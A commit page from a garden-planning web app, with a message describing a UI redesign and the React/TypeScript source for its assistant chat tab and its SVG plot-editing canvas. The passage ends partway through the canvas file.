Replace the UI with the Organic design handoff (docs/design_handoff_pansy_ui)
Build image / build-and-push (push) Successful in 31s
Gadfly review (reusable) / review (pull_request) Failing after 1s
Adversarial Review (Gadfly) / review (pull_request) Failing after 1s

The frontend is rebuilt screen by screen from the handoff: warm cream ground,
terracotta + sage accents, Caprasimo over Figtree, every control a pill. Same
React/Vite/TanStack stack and the same lib/ data layer; the presentation is new.

- Tokens: web/src/styles/index.css declares the handoff's styles.css variables
  through Tailwind's @theme under the same names; dark mode is those variables
  overridden on <html> by the handoff's pansy-theme.js, inlined in index.html
  so it runs before first paint. Lucide glyphs at stroke 2.75; a small pill kit
  (Button, Dialog, Field, Seg, Toggle, Tag, toast).
- Login / Register: the centered column over soft accent circles; OIDC button
  and signup footer still follow /auth/providers.
- Gardens: cards with a real SVG plot thumbnail (objects + plant-colored dots
  from /full), a `plan` tag for "<name> — <year>" copies, shares line, Open +
  share/copy/edit/delete; New garden / Share / Plan-a-season dialogs.
- Plants: monogram markers derived from the name (collision-resolved across the
  catalog — replaces emoji icons), category chips, expandable lot cards, the
  scan-packet flow as a two-step dialog that never auto-creates.
- Settings: Appearance (theme seg), Who gets in (read-only sign-in config),
  Garden assistant (self-saving toggle + chat/vision model fields), You.
- Editor: a new canvas with the prototype's pointer model (wheel-to-cursor,
  pinch about the centroid, 3″ snap, one PATCH per drop, semantic-zoom
  monograms/labels), plus corner resize handles; desktop three-card workspace
  (toolkit | plan | rail with Plot/Journal/History/Assistant) and, below 760px
  of container width, the phone chrome (header, peek panel, tool strip, mode
  bar). Seasons as a segmented control over the years with data plus plan
  copies; Undo re-reads history before reverting the newest step.
- Public read-only view and the register page restyled to match.
- GET /settings gains a read-only `auth` view (registration mode, local auth,
  OIDC issuer) so the Settings page can show what's in force.
- README / DESIGN.md / CLAUDE.md updated; @use-gesture/react dropped.

Co-Authored-By: Claude Fable 5 <[email protected]>
This commit is contained in:
2026-08-22 19:12:29 -04:00
co-authored by Claude Fable 5
parent 18b36870d4
commit 52b2c09a9e
111 changed files with 6621 additions and 7215 deletions
+191
View File
@@ -0,0 +1,191 @@
import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react'
import { Alert } from '@/components/ui/Alert'
import { IconButton } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { cn } from '@/lib/cn'
import { describeStep, streamChat, useAgentHistory, useAgentRefresh, useClearAgentHistory, type AgentStep, type AgentTurn } from '@/lib/agent'
import type { useUndo } from '@/lib/history'
import { lazyPage } from '@/lib/lazyPage'
// Lazy so the markdown renderer loads only when an assistant message renders.
const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage')
/** Falls back to the raw text if the markdown chunk can't load or throws. */
class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
state = { failed: false }
static getDerivedStateFromError() {
return { failed: true }
}
render() {
return this.state.failed ? this.props.fallback : this.props.children
}
}
/**
* Talk to the garden assistant beside the canvas — watching the plan change as
* it works IS the confirmation. Every turn lands as one undoable step, so each
* assistant reply that changed something carries its own Undo.
*/
export function AssistantTab({ gardenId, canEdit, undo, large = false }: { gardenId: number; canEdit: boolean; undo: ReturnType<typeof useUndo>; large?: boolean }) {
const history = useAgentHistory(gardenId, true)
const clear = useClearAgentHistory(gardenId)
const refresh = useAgentRefresh(gardenId)
const [input, setInput] = useState('')
const [pending, setPending] = useState<{ message: string; steps: AgentStep[] } | null>(null)
const [error, setError] = useState<string | null>(null)
const [warning, setWarning] = useState<string | null>(null)
const abort = useRef<AbortController | null>(null)
const bottom = useRef<HTMLDivElement>(null)
// Deliberately NOT aborted on unmount: selecting a bed switches the rail to
// the inspector, and that must not kill a turn mid-flight. The request runs
// on; the exchange is persisted server-side; coming back shows it.
useEffect(() => {
bottom.current?.scrollIntoView({ behavior: 'smooth', block: 'end' })
}, [history.data, pending])
const send = () => {
const message = input.trim()
if (!message || pending) return
setInput('')
setError(null)
setWarning(null)
setPending({ message, steps: [] })
const controller = new AbortController()
abort.current = controller
void streamChat(
gardenId,
message,
{
onStep: (step) => {
setPending((p) => (p ? { ...p, steps: [...p.steps, step] } : p))
refresh.canvas()
},
onDone: (turn: AgentTurn) => {
setPending(null)
refresh.everything()
if (turn.truncated) setError('That turned into more steps than I should take at once — check what changed before continuing.')
},
onWarning: setWarning,
onError: (m) => {
setPending(null)
setError(m)
refresh.everything()
},
},
controller.signal,
)
}
const stop = () => {
abort.current?.abort()
setPending(null)
refresh.everything()
}
const messages = history.data ?? []
const bubbleText = large ? 'text-[13.5px]' : 'text-[13px]'
return (
<div className="flex min-h-0 flex-1 flex-col gap-2.5">
{!canEdit && <Alert tone="info">You can only view this garden, so the assistant can't change anything in it.</Alert>}
{history.isPending && <p className="text-[13px] text-ink-mute">Loading the conversation…</p>}
{history.isError && <Alert>{errorMessage(history.error, "Couldn't load the conversation.")}</Alert>}
{history.isSuccess && messages.length === 0 && !pending && (
<p className="text-[13px] leading-relaxed text-ink-mute">
Ask for what you want and it'll do it — “change the garlic bed to cucumbers this year”, “fill the north half of the
west bed with beans”, “what's in here?”. Everything it does lands as one change you can undo.
</p>
)}
{messages.map((m) =>
m.role === 'user' ? (
<div key={m.id} className={cn('self-end whitespace-pre-wrap rounded-[18px_18px_4px_18px] bg-accent-200 px-[13px] py-[9px] leading-[1.45] text-accent-900', bubbleText, 'max-w-[85%]')}>
{m.body}
</div>
) : (
<div key={m.id} className="flex max-w-[90%] flex-col items-start gap-1 self-start">
<div className={cn('rounded-[18px_18px_18px_4px] border border-divider bg-bg px-[13px] py-[9px] leading-[1.45]', bubbleText)}>
<MarkdownBoundary fallback={<span className="whitespace-pre-wrap">{m.body}</span>}>
<Suspense fallback={<span className="whitespace-pre-wrap">{m.body}</span>}>
<MarkdownMessage>{m.body}</MarkdownMessage>
</Suspense>
</MarkdownBoundary>
</div>
{m.changeSetId != null && canEdit && <TurnUndo changeSetId={m.changeSetId} undo={undo} />}
</div>
),
)}
{pending && (
<>
<div className={cn('max-w-[85%] self-end whitespace-pre-wrap rounded-[18px_18px_4px_18px] bg-accent-200 px-[13px] py-[9px] leading-[1.45] text-accent-900', bubbleText)}>
{pending.message}
</div>
<div className={cn('max-w-[90%] self-start rounded-[18px_18px_18px_4px] border border-divider bg-bg px-[13px] py-[9px] leading-[1.45]', bubbleText)}>
{pending.steps.map((s) => (
<div key={s.index} className="text-xs text-ink-mute">
{describeStep(s)}…
</div>
))}
<p className="flex items-center gap-1.5 text-xs text-ink-mute">
<span className="inline-block h-1.5 w-1.5 animate-pulse rounded-full bg-accent" />
{pending.steps.length === 0 ? 'Thinking…' : 'Working…'}
</p>
</div>
</>
)}
{warning && <Alert tone="info">{warning}</Alert>}
{error && <Alert>{error}</Alert>}
<div ref={bottom} />
<div className="mt-auto flex flex-col gap-1.5 pt-1.5">
{messages.length > 0 && !pending && (
<button
type="button"
className="btn btn-ghost self-end px-2 py-0.5 text-[11.5px]"
disabled={clear.isPending}
onClick={() => clear.mutate(undefined, { onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")) })}
>
Start over
</button>
)}
<div className="flex gap-1.5">
<input
className={cn('input', large && 'input-lg')}
placeholder="Ask about your garden…"
aria-label="Message the assistant"
value={input}
disabled={!!pending}
onChange={(e) => setInput(e.target.value)}
onKeyDown={(e) => {
if (e.key === 'Enter') {
e.preventDefault()
send()
}
}}
/>
{pending ? (
<IconButton label="Stop" icon="square" iconSize={large ? 16 : 15} size={large ? 44 : 36} onClick={stop} />
) : (
<IconButton label="Send" icon="send" iconSize={large ? 16 : 15} variant="primary" size={large ? 44 : 36} disabled={!input.trim()} onClick={send} />
)}
</div>
</div>
</div>
)
}
/** Undo on the turn itself, so the common case never involves the History tab. */
function TurnUndo({ changeSetId, undo }: { changeSetId: number; undo: ReturnType<typeof useUndo> }) {
const outcome = undo.outcomeFor(changeSetId)
return (
<div className="flex flex-col items-start gap-0.5 pl-1">
<button type="button" className="btn btn-ghost px-2 py-0.5 text-[11.5px]" disabled={outcome?.tone === 'pending'} onClick={() => undo.undo({ id: changeSetId })}>
{outcome?.tone === 'pending' ? 'Undoing' : 'Undo this'}
</button>
{outcome && outcome.tone !== 'pending' && (
<p role="status" className={cn('text-[11.5px]', outcome.tone === 'ok' ? 'text-ink-mute' : 'font-semibold text-accent-700')}>
{outcome.message}
</p>
)}
</div>
)
}
+762
View File
@@ -0,0 +1,762 @@
import {
forwardRef,
useCallback,
useEffect,
useImperativeHandle,
useMemo,
useRef,
useState,
type DragEvent,
type PointerEvent as ReactPointerEvent,
} from 'react'
import { clampScale, type Point } from '@/lib/geometry'
import { useCreateObject, useCreatePlanting, useUpdateObject, useUpdatePlanting } from '@/lib/objects'
import type { Plant } from '@/lib/plants'
import type { EditorPlanting } from '@/lib/plantings'
import { formatSize } from '@/lib/units'
import { kindDef, objectStyle, rectRadius } from './kinds'
import {
DIM_OBJECT,
DIM_PLOP,
MAX_SCALE,
MIN_OBJECT_CM,
MIN_SCALE,
SNAP_CM,
clampPlopLocal,
defaultPlopRadius,
objectAt,
objectTransform,
rotatedHalfHeight,
snapPlopLocal,
toLocal,
toWorld,
} from './shared'
import { useEditorStore, type Viewport } from './store'
import type { EditorGarden, EditorObject } from './types'
const WHEEL_SENSITIVITY = 0.0016
const ANIM_MS = 520
const REFIT_THRESHOLD_PX = 60
const FT = 30.48
export interface CanvasHandle {
zoomFit: () => void
zoomIn: () => void
zoomOut: () => void
/** Frame a bed and enter focus mode (the page handles mode + URL). */
focusObject: (o: EditorObject) => void
}
type Drag =
| { t: 'pan'; sx: number; sy: number; tx: number; ty: number; moved: boolean; th: number }
| { t: 'obj'; base: EditorObject; sx: number; sy: number; moved: boolean; th: number }
| { t: 'plop'; base: EditorPlanting; obj: EditorObject; sx: number; sy: number; moved: boolean; th: number }
| { t: 'resize'; base: EditorObject; cx: number; cy: number; opp: Point; moved: boolean }
interface Pinch {
d0: number
cx0: number
cy0: number
s0: number
tx0: number
ty0: number
}
/**
* The garden canvas: one SVG, world = garden cm under a single translate/scale
* group. Everything the prototype does — wheel zoom to the cursor, two-finger
* pinch about the centroid, one-finger pan, drag-to-move with a 3″ snap, tap to
* select, semantic zoom on the plant markers, a ghost while a kind is armed,
* drag-and-drop from the toolkit — lives here, with native SVG hit-testing
* doing the picking. Drags commit ONE change on release (a PATCH with the row's
* version); placement creates. Corner handles on the selected object resize it.
*/
export const Canvas = forwardRef<
CanvasHandle,
{
garden: EditorGarden
objects: EditorObject[]
plantings: EditorPlanting[]
plantsById: Map<number, Plant>
letters: Map<number, string>
canEdit: boolean
isMobile: boolean
}
>(function Canvas({ garden, objects, plantings, plantsById, letters, canEdit, isMobile }, ref) {
const svgRef = useRef<SVGSVGElement>(null)
const hostRef = useRef<HTMLDivElement>(null)
const [size, setSize] = useState({ w: 0, h: 0 })
const fitSize = useRef({ w: 0, h: 0 })
const fittedGarden = useRef<number | null>(null)
const wasMobile = useRef(isMobile)
const animTimer = useRef<number | null>(null)
const pts = useRef(new Map<number, Point>())
const drag = useRef<Drag | null>(null)
const pinch = useRef<Pinch | null>(null)
const dropPlant = useRef<{ plant: Plant; lotId: number | null } | null>(null)
const vp = useEditorStore((s) => s.vp)
const anim = useEditorStore((s) => s.anim)
const sel = useEditorStore((s) => s.sel)
const focusId = useEditorStore((s) => s.focusId)
const armedKind = useEditorStore((s) => s.armedKind)
const armedPlant = useEditorStore((s) => s.armedPlant)
const ghost = useEditorStore((s) => s.ghost)
const liveObject = useEditorStore((s) => s.liveObject)
const livePlanting = useEditorStore((s) => s.livePlanting)
const createObject = useCreateObject(garden.id)
const createPlanting = useCreatePlanting(garden.id)
const updateObject = useUpdateObject(garden.id)
const updatePlanting = useUpdatePlanting(garden.id)
const GW = garden.widthCm
const GH = garden.heightCm
const s = vp.s
const snapStep = garden.snapToGrid && garden.gridSizeCm > 0 ? garden.gridSizeCm : SNAP_CM
// Objects in draw order, with any in-flight drag geometry merged in.
const rendered = useMemo(() => {
const sorted = [...objects].sort((a, b) => a.zIndex - b.zIndex || a.id - b.id)
return liveObject ? sorted.map((o) => (o.id === liveObject.id ? liveObject : o)) : sorted
}, [objects, liveObject])
const renderedPlops = useMemo(
() => (livePlanting ? plantings.map((p) => (p.id === livePlanting.id ? livePlanting : p)) : plantings),
[plantings, livePlanting],
)
const byId = useMemo(() => new Map(rendered.map((o) => [o.id, o])), [rendered])
// Latest lists for the pointer handlers, which must not close over a render.
const latest = useRef({ rendered, renderedPlops, byId, canEdit, isMobile, garden, snapStep })
latest.current = { rendered, renderedPlops, byId, canEdit, isMobile, garden, snapStep }
// ── camera ──────────────────────────────────────────────────────────────
const camera = useCallback((next: Viewport, animate: boolean) => {
useEditorStore.getState().setVp(next, animate)
if (animTimer.current != null) window.clearTimeout(animTimer.current)
if (animate) {
animTimer.current = window.setTimeout(() => {
animTimer.current = null
useEditorStore.getState().setAnim(false)
}, ANIM_MS)
}
}, [])
const zoomFit = useCallback(() => {
const el = svgRef.current
if (!el) return
const w = el.clientWidth
const h = el.clientHeight
const pad = latest.current.isMobile ? 20 : 40
const { widthCm, heightCm } = latest.current.garden
const ns = clampScale(Math.min((w - pad * 2) / widthCm, (h - pad * 2) / heightCm), MIN_SCALE, MAX_SCALE)
if (!Number.isFinite(ns) || ns <= 0) return
fitSize.current = { w, h }
camera({ s: ns, tx: (w - widthCm * ns) / 2, ty: (h - heightCm * ns) / 2 }, true)
}, [camera])
const zoomBy = useCallback(
(f: number) => {
const el = svgRef.current
if (!el) return
const { tx, ty, s: cur } = useEditorStore.getState().vp
const ns = clampScale(cur * f, MIN_SCALE, MAX_SCALE)
const px = el.clientWidth / 2
const py = el.clientHeight / 2
camera({ s: ns, tx: px - ((px - tx) / cur) * ns, ty: py - ((py - ty) / cur) * ns }, true)
},
[camera],
)
const focusObject = useCallback(
(o: EditorObject) => {
const el = svgRef.current
const st = useEditorStore.getState()
const m = latest.current.isMobile
st.setFocus(o.id)
st.setSel(m ? null : { type: 'object', id: o.id })
st.setArmedKind(null)
st.setGhost(null)
st.setTab('plot')
if (!el) return
const bw = o.rotationDeg % 180 ? o.heightCm : o.widthCm
const bh = o.rotationDeg % 180 ? o.widthCm : o.heightCm
const ns = Math.min(
MAX_SCALE * 0.75,
Math.min(el.clientWidth / (bw * (m ? 1.35 : 2.1)), el.clientHeight / (bh * (m ? 1.45 : 1.7))),
)
camera({ s: ns, tx: el.clientWidth / 2 - o.xCm * ns, ty: el.clientHeight / 2 - o.yCm * ns + (m ? 0 : 10) }, true)
},
[camera],
)
useImperativeHandle(ref, () => ({ zoomFit, zoomIn: () => zoomBy(1.45), zoomOut: () => zoomBy(1 / 1.45), focusObject }), [
zoomFit,
zoomBy,
focusObject,
])
// Measure; refit on a real size change (>60px) or when the chrome flips.
useEffect(() => {
const el = hostRef.current
if (!el) return
const ro = new ResizeObserver(([entry]) => setSize({ w: entry.contentRect.width, h: entry.contentRect.height }))
ro.observe(el)
return () => ro.disconnect()
}, [])
useEffect(() => {
if (size.w === 0 || size.h === 0 || GW === 0 || GH === 0) return
const first = fittedGarden.current !== garden.id
const flipped = wasMobile.current !== isMobile
const big =
Math.abs(size.w - fitSize.current.w) > REFIT_THRESHOLD_PX || Math.abs(size.h - fitSize.current.h) > REFIT_THRESHOLD_PX
wasMobile.current = isMobile
if (!first && !flipped && !big) return
fittedGarden.current = garden.id
// A focused bed (a ?focus= deep link, or a chrome flip mid-planting) frames
// its bed rather than the whole garden.
const f = useEditorStore.getState().focusId
const target = f != null ? latest.current.byId.get(f) : undefined
if (target) {
fitSize.current = { w: size.w, h: size.h }
focusObject(target)
} else zoomFit()
}, [size, garden.id, GW, GH, isMobile, zoomFit, focusObject])
// Wheel zooms to the cursor. Non-passive so the page doesn't scroll.
useEffect(() => {
const el = svgRef.current
if (!el) return
const onWheel = (e: WheelEvent) => {
e.preventDefault()
if (!Number.isFinite(e.deltaY)) return
const r = el.getBoundingClientRect()
const { tx, ty, s: cur } = useEditorStore.getState().vp
const ns = clampScale(cur * Math.exp(-e.deltaY * WHEEL_SENSITIVITY), MIN_SCALE, MAX_SCALE)
const px = e.clientX - r.left
const py = e.clientY - r.top
camera({ s: ns, tx: px - ((px - tx) / cur) * ns, ty: py - ((py - ty) / cur) * ns }, false)
}
el.addEventListener('wheel', onWheel, { passive: false })
return () => el.removeEventListener('wheel', onWheel)
}, [camera])
useEffect(
() => () => {
if (animTimer.current != null) window.clearTimeout(animTimer.current)
},
[],
)
// ── pointer math ────────────────────────────────────────────────────────
const world = (e: { clientX: number; clientY: number }): Point => {
const r = svgRef.current!.getBoundingClientRect()
const { tx, ty, s: cur } = useEditorStore.getState().vp
return { x: (e.clientX - r.left - tx) / cur, y: (e.clientY - r.top - ty) / cur }
}
const snap = (v: number) => Math.round(v / latest.current.snapStep) * latest.current.snapStep
const thresh = (e: { pointerType?: string }) => (e.pointerType === 'touch' ? 7 : 3)
const track = (e: ReactPointerEvent) => {
const r = svgRef.current!.getBoundingClientRect()
pts.current.set(e.pointerId, { x: e.clientX - r.left, y: e.clientY - r.top })
try {
svgRef.current!.setPointerCapture(e.pointerId)
} catch {
/* not all pointers capture */
}
}
const pinchStart = () => {
const [a, b] = [...pts.current.values()]
drag.current = null
const { s: cur, tx, ty } = useEditorStore.getState().vp
pinch.current = { d0: Math.hypot(a.x - b.x, a.y - b.y), cx0: (a.x + b.x) / 2, cy0: (a.y + b.y) / 2, s0: cur, tx0: tx, ty0: ty }
}
// ── placement ───────────────────────────────────────────────────────────
const placeObject = (kind: string, w: Point) => {
const def = kindDef(kind)
const st = useEditorStore.getState()
st.setArmedKind(null)
st.setGhost(null)
if (!def || !latest.current.canEdit) return
const n = latest.current.rendered.filter((o) => o.kind === def.kind).length + 1
createObject.mutate(
{
kind: def.kind,
shape: def.shape,
name: `${def.label} ${n}`,
xCm: snap(w.x),
yCm: snap(w.y),
widthCm: def.widthCm,
heightCm: def.heightCm,
zIndex: def.defaultZ,
plantable: def.plantable,
},
{ onSuccess: (o) => useEditorStore.getState().setSel({ type: 'object', id: o.id }) },
)
}
const placePlop = (o: EditorObject, local: Point, plant: Plant, lotId: number | null) => {
if (!latest.current.canEdit || !o.plantable) return
const r = defaultPlopRadius(plant)
const c = clampPlopLocal(o, snapPlopLocal(o, local), r)
createPlanting.mutate(
{ objectId: o.id, plantId: plant.id, xCm: c.x, yCm: c.y, radiusCm: r, seedLotId: lotId ?? undefined },
{
onSuccess: (p) => {
// Desktop selects what it just placed; the phone keeps the strip's plant
// armed and the peek closed so the next tap plants again.
if (!latest.current.isMobile) useEditorStore.getState().setSel({ type: 'plop', id: p.id })
},
},
)
}
// ── pointer handlers ────────────────────────────────────────────────────
const onCanvasDown = (e: ReactPointerEvent) => {
track(e)
if (pts.current.size === 2) return pinchStart()
const st = useEditorStore.getState()
const w = world(e)
if (st.armedKind) return placeObject(st.armedKind, w)
if (st.armedPlant) {
const o = st.focusId != null ? latest.current.byId.get(st.focusId) : objectAt(latest.current.rendered, w)
if (o?.plantable) placePlop(o, toLocal(o, w), st.armedPlant, st.armedLotId)
return
}
if (!drag.current) drag.current = { t: 'pan', sx: e.clientX, sy: e.clientY, tx: st.vp.tx, ty: st.vp.ty, moved: false, th: thresh(e) }
}
const objDown = (o: EditorObject) => (e: ReactPointerEvent) => {
e.stopPropagation()
track(e)
if (pts.current.size === 2) return pinchStart()
const st = useEditorStore.getState()
const w = world(e)
if (st.armedKind) return placeObject(st.armedKind, w)
if (st.armedPlant) {
if (o.plantable) placePlop(o, toLocal(o, w), st.armedPlant, st.armedLotId)
return
}
// Dimmed siblings stay inert inside a focused bed.
if (st.focusId != null && o.id !== st.focusId) return
if (!latest.current.canEdit) {
st.setSel({ type: 'object', id: o.id })
st.setTab('plot')
return
}
drag.current = { t: 'obj', base: o, sx: w.x, sy: w.y, moved: false, th: thresh(e) }
}
const plopDown = (p: EditorPlanting) => (e: ReactPointerEvent) => {
const st = useEditorStore.getState()
if (st.armedKind || st.armedPlant) return // bubbles to the bed / canvas, which places
e.stopPropagation()
const o = latest.current.byId.get(p.objectId)
if (!o) return
// Outside focus a plop is just part of its bed: grabbing it grabs the bed.
if (st.focusId !== p.objectId) return objDown(o)(e)
track(e)
if (pts.current.size === 2) return pinchStart()
if (!latest.current.canEdit) {
st.setSel({ type: 'plop', id: p.id })
st.setTab('plot')
return
}
const l = toLocal(o, world(e))
drag.current = { t: 'plop', base: p, obj: o, sx: l.x, sy: l.y, moved: false, th: thresh(e) }
}
const handleDown = (o: EditorObject, cx: number, cy: number) => (e: ReactPointerEvent) => {
e.stopPropagation()
track(e)
if (!latest.current.canEdit) return
// The corner opposite the dragged one stays put, in the object's own frame.
drag.current = { t: 'resize', base: o, cx, cy, opp: { x: -cx * (o.widthCm / 2), y: -cy * (o.heightCm / 2) }, moved: false }
}
const onCanvasMove = (e: ReactPointerEvent) => {
const r = svgRef.current!.getBoundingClientRect()
if (pts.current.has(e.pointerId)) pts.current.set(e.pointerId, { x: e.clientX - r.left, y: e.clientY - r.top })
const st = useEditorStore.getState()
if (pinch.current && pts.current.size >= 2) {
const [a, b] = [...pts.current.values()]
const p = pinch.current
const d1 = Math.hypot(a.x - b.x, a.y - b.y)
const cx = (a.x + b.x) / 2
const cy = (a.y + b.y) / 2
const ns = clampScale(p.s0 * (d1 / Math.max(1, p.d0)), MIN_SCALE, MAX_SCALE)
const wx = (p.cx0 - p.tx0) / p.s0
const wy = (p.cy0 - p.ty0) / p.s0
camera({ s: ns, tx: cx - wx * ns, ty: cy - wy * ns }, false)
return
}
const d = drag.current
if (!d) {
if (st.armedKind && e.pointerType !== 'touch') {
const w = world(e)
st.setGhost({ x: snap(w.x), y: snap(w.y) })
}
return
}
if (d.t === 'pan') {
if (Math.hypot(e.clientX - d.sx, e.clientY - d.sy) > d.th) d.moved = true
camera({ ...st.vp, tx: d.tx + e.clientX - d.sx, ty: d.ty + e.clientY - d.sy }, false)
} else if (d.t === 'obj') {
const w = world(e)
if (Math.hypot(w.x - d.sx, w.y - d.sy) > d.th / st.vp.s) d.moved = true
if (!d.moved) return
st.setLiveObject({ ...d.base, xCm: snap(d.base.xCm + w.x - d.sx), yCm: snap(d.base.yCm + w.y - d.sy) })
} else if (d.t === 'plop') {
const l = toLocal(d.obj, world(e))
if (Math.hypot(l.x - d.sx, l.y - d.sy) > d.th / st.vp.s) d.moved = true
if (!d.moved) return
const next = clampPlopLocal(
d.obj,
snapPlopLocal(d.obj, { x: d.base.xCm + l.x - d.sx, y: d.base.yCm + l.y - d.sy }),
d.base.radiusCm,
)
st.setLivePlanting({ ...d.base, xCm: next.x, yCm: next.y })
} else if (d.t === 'resize') {
const p = toLocal(d.base, world(e))
d.moved = true
let newW = Math.max(MIN_OBJECT_CM, Math.abs(p.x - d.opp.x))
let newH = Math.max(MIN_OBJECT_CM, Math.abs(p.y - d.opp.y))
if (latest.current.garden.snapToGrid) {
const g = latest.current.snapStep
newW = Math.max(g, Math.round(newW / g) * g)
newH = Math.max(g, Math.round(newH / g) * g)
}
const dragged = { x: d.opp.x + d.cx * newW, y: d.opp.y + d.cy * newH }
const c = toWorld(d.base, { x: (d.opp.x + dragged.x) / 2, y: (d.opp.y + dragged.y) / 2 })
st.setLiveObject({ ...d.base, xCm: c.x, yCm: c.y, widthCm: newW, heightCm: newH })
}
}
const onCanvasUp = (e: ReactPointerEvent) => {
pts.current.delete(e.pointerId)
if (pinch.current) {
if (pts.current.size < 2) pinch.current = null
return
}
const d = drag.current
drag.current = null
if (!d) return
const st = useEditorStore.getState()
if (d.t === 'pan') {
if (!d.moved) st.setSel(null)
return
}
if (d.t === 'obj') {
if (!d.moved) {
st.setSel({ type: 'object', id: d.base.id })
st.setTab('plot')
return
}
const final = st.liveObject
st.setLiveObject(null)
if (final && (final.xCm !== d.base.xCm || final.yCm !== d.base.yCm))
updateObject.mutate({ id: final.id, version: final.version, xCm: final.xCm, yCm: final.yCm })
} else if (d.t === 'plop') {
if (!d.moved) {
st.setSel({ type: 'plop', id: d.base.id })
st.setTab('plot')
return
}
const final = st.livePlanting
st.setLivePlanting(null)
if (final) updatePlanting.mutate({ id: final.id, version: final.version, xCm: final.xCm, yCm: final.yCm })
} else if (d.t === 'resize') {
const final = st.liveObject
st.setLiveObject(null)
if (final && d.moved)
updateObject.mutate({
id: final.id,
version: final.version,
xCm: final.xCm,
yCm: final.yCm,
widthCm: final.widthCm,
heightCm: final.heightCm,
})
}
}
// HTML5 drag-and-drop from the toolkit (desktop).
const onDragOver = (e: DragEvent) => e.preventDefault()
const onDrop = (e: DragEvent) => {
e.preventDefault()
const data = e.dataTransfer.getData('text/plain')
if (!data) return
const w = world(e)
const [t, id] = data.split(':')
if (t === 'kind') placeObject(id, w)
if (t === 'plant' && dropPlant.current) {
const o = objectAt(latest.current.rendered, w)
if (o?.plantable) placePlop(o, toLocal(o, w), dropPlant.current.plant, dropPlant.current.lotId)
}
}
// The plant being dragged from the toolkit rides along in the store (the
// dataTransfer only carries its id); the armed plant is what's being dragged.
dropPlant.current = armedPlant ? { plant: armedPlant, lotId: useEditorStore.getState().armedLotId } : null
// ── derived drawing data ───────────────────────────────────────────────
const grid = useMemo(() => {
const imperial = garden.unitPref === 'imperial'
let step = imperial ? FT : 25
const majorEvery = imperial ? 5 : 4
while (Math.max(GW, GH) / step > 400) step *= majorEvery // a 100 m field still draws a sane number of lines
const minor: string[] = []
const major: string[] = []
for (let i = 1; i * step < GW; i++) (i % majorEvery ? minor : major).push(`M${(i * step).toFixed(2)} 0V${GH}`)
for (let i = 1; i * step < GH; i++) (i % majorEvery ? minor : major).push(`M0 ${(i * step).toFixed(2)}H${GW}`)
return { minor: minor.join(''), major: major.join('') }
}, [GW, GH, garden.unitPref])
const selectedObject = sel?.type === 'object' ? (byId.get(sel.id) ?? null) : null
const showLabels = s > 0.28
const handlePx = isMobile ? 14 : 9
const cursor = armedKind || armedPlant ? 'crosshair' : 'default'
return (
<div ref={hostRef} className="absolute inset-0">
<svg
ref={svgRef}
width="100%"
height="100%"
style={{ display: 'block', touchAction: 'none', cursor, userSelect: 'none' }}
onPointerDown={onCanvasDown}
onPointerMove={onCanvasMove}
onPointerUp={onCanvasUp}
onPointerCancel={onCanvasUp}
onDragOver={onDragOver}
onDrop={onDrop}
role="application"
aria-label={`${garden.name} — the plan. Tap a bed to select it; double-click to plant it.`}
>
<title>{garden.name} plan</title>
<g
className={anim ? 'camera-anim' : undefined}
style={{ transform: `translate(${vp.tx}px, ${vp.ty}px) scale(${s})`, transformOrigin: '0 0' }}
>
<rect x={0} y={0} width={GW} height={GH} rx={18} fill="var(--p-field)" stroke="var(--color-accent-2-500)" strokeWidth={3 / s} />
<path d={grid.minor} stroke="var(--p-grid-ink)" strokeWidth={1 / s} opacity={0.06} fill="none" />
<path d={grid.major} stroke="var(--p-grid-ink)" strokeWidth={1 / s} opacity={0.12} fill="none" />
{rendered.map((o) => {
const st = objectStyle(o)
const isSel = sel?.type === 'object' && sel.id === o.id
const dim = focusId != null && o.id !== focusId
const common = {
fill: st.fill,
stroke: isSel ? 'var(--color-accent)' : st.stroke,
strokeWidth: (isSel ? 3.5 : 2.5) / s,
strokeDasharray: st.dash,
}
return (
<g
key={o.id}
data-object-id={o.id}
transform={objectTransform(o)}
opacity={dim ? DIM_OBJECT : 1}
style={{ cursor: dim ? 'default' : canEdit ? 'grab' : 'pointer' }}
onPointerDown={objDown(o)}
onDoubleClick={o.plantable && !dim ? () => focusObject(o) : undefined}
>
{o.shape === 'circle' ? (
<ellipse rx={o.widthCm / 2} ry={o.heightCm / 2} {...common} />
) : (
<rect x={-o.widthCm / 2} y={-o.heightCm / 2} width={o.widthCm} height={o.heightCm} rx={rectRadius(o.widthCm)} {...common} />
)}
</g>
)
})}
{renderedPlops.map((p) => {
const o = byId.get(p.objectId)
if (!o) return null
const plant = plantsById.get(p.plantId)
const w = toWorld(o, { x: p.xCm, y: p.yCm })
const isSel = sel?.type === 'plop' && sel.id === p.id
const inFocus = focusId === p.objectId
return (
<g
key={p.id}
data-plop-id={p.id}
transform={`translate(${w.x} ${w.y})`}
opacity={focusId != null && !inFocus ? DIM_PLOP : 0.94}
style={{ cursor: inFocus ? (canEdit ? 'grab' : 'pointer') : 'inherit' }}
onPointerDown={plopDown(p)}
>
{/* A fingertip-sized hit area so a tiny plop at low zoom is still grabbable. */}
<circle r={Math.max(p.radiusCm, 10 / s)} fill="transparent" />
<circle r={p.radiusCm} fill={plant?.color ?? '#97a97c'} stroke={isSel ? 'var(--color-paper)' : 'none'} strokeWidth={2.5 / s} />
</g>
)
})}
{/* Labels — semantic zoom. pointer-events none so they never catch a tap. */}
<g style={{ pointerEvents: 'none' }}>
{showLabels &&
rendered.map((o) => {
if (!o.name || Math.max(o.widthCm, o.heightCm) * s <= 54 || (focusId != null && focusId !== o.id)) return null
const bh = rotatedHalfHeight(o)
return o.plantable ? (
<text
key={`ol${o.id}`}
x={o.xCm}
y={o.yCm - bh - 9 / s}
textAnchor="middle"
fontSize={13 / s}
fill="var(--p-ink-soft)"
style={{ fontFamily: 'var(--font-body)', fontWeight: 600, letterSpacing: '0.02em' }}
>
{o.name}
</text>
) : (
<text
key={`ol${o.id}`}
x={o.xCm}
y={o.yCm}
textAnchor="middle"
dominantBaseline="central"
fontSize={13 / s}
fill="var(--p-ink-mute)"
style={{ fontFamily: 'var(--font-body)', fontWeight: 600, letterSpacing: '0.06em' }}
>
{o.name}
</text>
)
})}
{renderedPlops.map((p) => {
const o = byId.get(p.objectId)
if (!o || (focusId != null && p.objectId !== focusId)) return null
const plant = plantsById.get(p.plantId)
const r = p.radiusCm
if (r * s < 9) return null
